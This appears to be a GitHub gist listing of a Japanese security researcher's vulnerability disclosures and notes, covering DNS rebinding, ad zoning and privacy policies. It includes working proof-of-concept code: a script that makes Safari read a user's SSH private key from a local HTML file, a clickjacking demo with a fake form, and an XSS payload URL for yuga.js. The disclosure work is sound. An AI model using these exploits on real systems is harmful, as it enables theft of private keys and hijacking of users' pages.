Skip to content

Instantly share code, notes, and snippets.

@mala
mala / gist:3788589
Created September 26, 2012 15:07
hostsファイルにloopbackアドレス書くのは危険か、の話
9/25にGoogle+に書いたものの転載、脅威の度合いは各々判断してください
----
補足
DNS Rebinding対策として、DNSキャッシュサーバーがプライベートアドレスを返さないようにフィルタしている、というのは
http://labs.cybozu.co.jp/blog/kazuho/archives/2007/11/djbdns_and_anti-dns_pinning.php で書かれているような対策のこと
要点は
1.別途DNSリバインディング対策をしている場合に、その穴を自分で復活させてしまうことになる
@mala
mala / gist:3235575
Created August 2, 2012 08:55
SafariでローカルHTMLファイルを開いた時にSSH秘密鍵を取得するやつ(どこに置いてあっても動くバージョン)
<script>
var username;
var req = new XMLHttpRequest;
req.open("GET", "/private/var/db/mds/messages/se_SecurityMessages", true);
req.onload = function(){
username = req.responseText.match(/\/Users\/(.*?)\/Library\//)[1]
alert("Username:" + username);
req.open("GET", "file:///Users/" + username + "/.ssh/id_rsa");
req.onload = function(){ alert(req.responseText) };
req.send();
@mala
mala / gist:3206049
Created July 30, 2012 10:25
ytb ui redressing
<script>
setInterval(function(){
var iframe = document.querySelector("iframe[class^=__YTB_]");
iframe.style.zIndex=0;
}, 1000);
</script>
<body>
<input type="text" placeholder="入力して検索" onkeydown="alert('偽フォームです')" style="position:absolute;top:-35px;left:87px;border:1px solid #000;width:204px;height:22px;z-index:100">
@mala
mala / gist:3135131
Created July 18, 2012 08:56
お名前.comは忍者ツールズの権威サーバーを実際のところどんな具合に書き換えたと推定されるのかについて
dns1.onamae.com dns2.onamae.com ってのが何聞いても固定の応答返すドメインパーキング用ネームサーバーになってて
こんなかんじね↓
$ dig example.com @dns1.onamae.com
; <<>> DiG 9.7.3-P3 <<>> example.com @dns1.onamae.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 9409
@mala
mala / gist:3128358
Created July 17, 2012 09:40
利用者の使っているフィルタリングソフトの基準に合わせて表示される広告にゾーニングを適用する法、及びその問題点について
https://twitter.com/bulkneets/status/224725678833147904
ってのを書いたわけだけど
元ネタは覚えてる人居ないかもしれないけど、ココらへんの話ねー
http://internet.watch.impress.co.jp/docs/news/20090728_305316.html
http://mixi.co.jp/press/2009/0727/1691/
で、後々、携帯電話会社とちゃんと連携して、契約者の年齢わかるようにした。
http://mixi.co.jp/press/2011/0119/4179/
@mala
mala / jquery_xss_patch.js
Created April 26, 2012 13:23
jQuery XSS patch
(function(){
jQuery.fn.__init = jQuery.fn.init;
var old_expr = /^(?:[^<]*(<[\w\W]+>)[^>]*$)/;
var strict_expr = /^\s*</;
jQuery.fn.init = function(selector, context, rootjQuery){
if (typeof selector === "string") {
// console.log(selector);
if (old_expr.test(selector) && !strict_expr.test(selector)) {
throw 'Syntax error, html string must start with "<"';
}
@mala
mala / gist:2021195
Created March 12, 2012 11:04
忍者ツールズの利用規約、プライバシーポリシーの不備は何であるのか
** アクセス解析の類を設置するサイト運営者の一般的な想定
http://www.ninja.co.jp/rule/analyze
図1
訪問者 → 忍者ツールズ → 業務提携先
サイト運営者
この場合、業務提携先、業務委託先に「忍者ツールズが知っているデータ」の中で「忍者ツールズが第三者に提供しても大丈夫だと考えている情報」が共有されることになる。
それは利用規約とかプライバシーポリシーに、統計データのみとか、個人を特定できないようにするとか、必要な範囲でとか、守秘義務を結んだ上で、とか書かれるのが一般的。
@mala
mala / XSS
Created February 1, 2012 09:42
yuga.jsのXSS直したバージョンがなかなかリリースされないので勝手に直したやつ
http://www.kyosuke.jp/yugajs/#"></a><img src=/ onerror=alert(1)>
@mala
mala / echod.psgi
Created January 30, 2012 16:17
echod.psgi
use strict;
use Coro;
use Coro::Channel;
use Plack::Request;
my %CHANNEL;
my %SUBSCRIBER;
my %CALLBACKS;
my $count = 0;
#!/usr/local/bin/perl
use strict;
use Carp::REPL qw(repl);
sub {
my $env = shift;
my $message= "hello";
repl(); # $message .= "world"; :q
[